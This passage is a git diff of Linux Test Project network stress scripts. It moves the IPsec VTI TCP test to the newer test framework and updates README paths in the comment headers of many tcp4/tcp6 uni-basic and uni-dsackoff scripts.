diff --git a/testcases/network/stress/tcp/tcp_ipsec_vti.sh b/testcases/network/stress/tcp/tcp_ipsec_vti.sh
index a793ef6..f7bbbc6 100755
--- a/testcases/network/stress/tcp/tcp_ipsec_vti.sh
+++ b/testcases/network/stress/tcp/tcp_ipsec_vti.sh
@@ -1,40 +1,20 @@
 #!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) 2017 Oracle and/or its affiliates. All Rights Reserved.
-#
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#
-# This program is distributed in the hope that it would be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with this program; if not, see <http://www.gnu.org/licenses/>.
-#
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 
-TCID=tcp_ipsec_vti
-TST_TOTAL=3
 TST_NEEDS_TMPDIR=1
-TST_CLEANUP="tst_ipsec_cleanup"
+TST_TESTFUNC=do_test
+TST_SETUP=tst_ipsec_setup_vti
+TST_CLEANUP=tst_ipsec_cleanup
+. ipsec_lib.sh
 
 max_requests=10
 
-. ipsec_lib.sh
-
 do_test()
 {
-	for p in $IPSEC_SIZE_ARRAY; do
-		tst_netload -H $ip_rmt_tun -n $p -N $p \
-			-r $IPSEC_REQUESTS -R $max_requests
-	done
+	tst_netload -H $ip_rmt_tun -n $2 -N $2 -r $IPSEC_REQUESTS -R $max_requests
 }
 
-tst_ipsec_setup_vti
-
-do_test
-
-tst_exit
+tst_run
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic01 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic01
index 48621fb..8a68ab6 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic01
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic01
@@ -41,7 +41,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic02 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic02
index 30144a9..7591fd6 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic02
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic02
@@ -29,7 +29,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic03 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic03
index a63cdbe..82477c3 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic03
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic03
@@ -29,7 +29,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic04 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic04
index 205d3b5..0991fea 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic04
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic04
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic05 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic05
index d28d502..433b13e 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic05
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic05
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic06 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic06
index f616ace..299083b 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic06
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic06
@@ -29,7 +29,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic07 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic07
index a7cd563..9509ecb 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic07
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic07
@@ -29,7 +29,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic08 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic08
index ba9abbd..4701847 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic08
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic08
@@ -29,7 +29,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic09 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic09
index 0f5ed36..8b58758 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic09
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic09
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic10 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic10
index 1eacff2..4c39d56 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic10
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic10
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic11 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic11
index 905cc1b..a568dda 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic11
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic11
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic12 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic12
index e3365f8..7716aaa 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic12
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic12
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic13 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic13
index d103dec..1e4fa6b 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic13
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic13
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic14 b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic14
index a7cedc9..230d9be 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic14
+++ b/testcases/network/stress/tcp/uni-basic/tcp4-uni-basic14
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic01 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic01
index f0fd8fe..9141a53 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic01
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic01
@@ -29,7 +29,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic02 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic02
index 525c139..ad8e76d 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic02
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic02
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic03 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic03
index be3dc61..c977c93 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic03
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic03
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic04 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic04
index 5e2fa54..65f8e48 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic04
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic04
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic05 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic05
index 9786fec..79b6c80 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic05
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic05
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic06 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic06
index 77e7bc8..92c9fdc 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic06
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic06
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic07 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic07
index 158af1b..235a7d4 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic07
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic07
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic08 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic08
index 3a58c77..466cc95 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic08
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic08
@@ -30,7 +30,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic09 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic09
index 1545e53..43658fe 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic09
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic09
@@ -31,7 +31,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic10 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic10
index b5c2cb9..731b5cc 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic10
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic10
@@ -31,7 +31,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic11 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic11
index 52604d8..b8807b2 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic11
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic11
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic12 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic12
index 14b357a..f3b708b 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic12
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic12
@@ -31,7 +31,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic13 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic13
index c977d4f..d7c4e43 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic13
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic13
@@ -31,7 +31,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic14 b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic14
index e5499a7..d8750ba 100644
--- a/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic14
+++ b/testcases/network/stress/tcp/uni-basic/tcp6-uni-basic14
@@ -31,7 +31,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff01 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff01
index 2fac3c7..74466e6 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff01
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff01
@@ -40,7 +40,7 @@
 #   *) This script may be read by the other test case
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff02 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff02
index d016e0e..46628ca 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff02
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff02
@@ -29,7 +29,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff03 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff03
index 7fbdf5e..2c99b48 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff03
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff03
@@ -29,7 +29,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff04 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff04
index 5684728..1671a09 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff04
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff04
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff05 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff05
index 93e9404..03cab29 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff05
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff05
@@ -29,7 +29,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff06 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff06
index 6ac1f43..1b53cf8 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff06
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff06
@@ -29,7 +29,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff07 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff07
index 0a52259..5d4a09c 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff07
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff07
@@ -29,7 +29,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff08 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff08
index d7254d1..6c9dd9c 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff08
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff08
@@ -29,7 +29,7 @@
 #     - Network is delayed
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff09 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff09
index f875386..a68fcb1 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff09
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff09
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff10 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff10
index 42f6aaa..2ccedb3 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff10
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff10
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff11 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff11
index 0157ffa..f905fac 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff11
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff11
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff12 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff12
index e9e1c0d..9ebe020 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff12
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff12
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff13 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff13
index d9a684e..4bd18e0 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff13
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff13
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff14 b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff14
index 770113a..5789bf2 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff14
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp4-uni-dsackoff14
@@ -30,7 +30,7 @@
 #     - IPcomp, tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff01 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff01
index b231f94..c153d9a 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff01
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff01
@@ -29,7 +29,7 @@
 #     - The version of IP is IPv6
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff02 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff02
index bb26fe2..7651700 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff02
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff02
@@ -30,7 +30,7 @@
 #     - IPsec(AH), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff03 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff03
index 563573f..e9663fc 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff03
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff03
@@ -30,7 +30,7 @@
 #     - IPsec(AH), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff04 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff04
index f22b50a..b4e9429 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff04
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff04
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff05 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff05
index 3f06d4c..bfcb493 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff05
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff05
@@ -30,7 +30,7 @@
 #     - IPsec(ESP), tunnel mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff06 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff06
index e4a0fcd..6aa9cbf 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff06
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff06
@@ -30,7 +30,7 @@
 #     - IPcomp, transport mode
 #
 # Setup:
-#   See ltp-yyyymmdd/testcases/network/stress/README
+#   See testcases/network/stress/README
 #
 # Author:
 #   Mitsuru Chinen <mitch@jp.ibm.com>
diff --git a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff07 b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff07
index 61ae4da..62a0d6e 100644
--- a/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff07
+++ b/testcases/network/stress/tcp/uni-dsackoff/tcp6-uni-dsackoff07
@@ -30,7 +30,7 @@
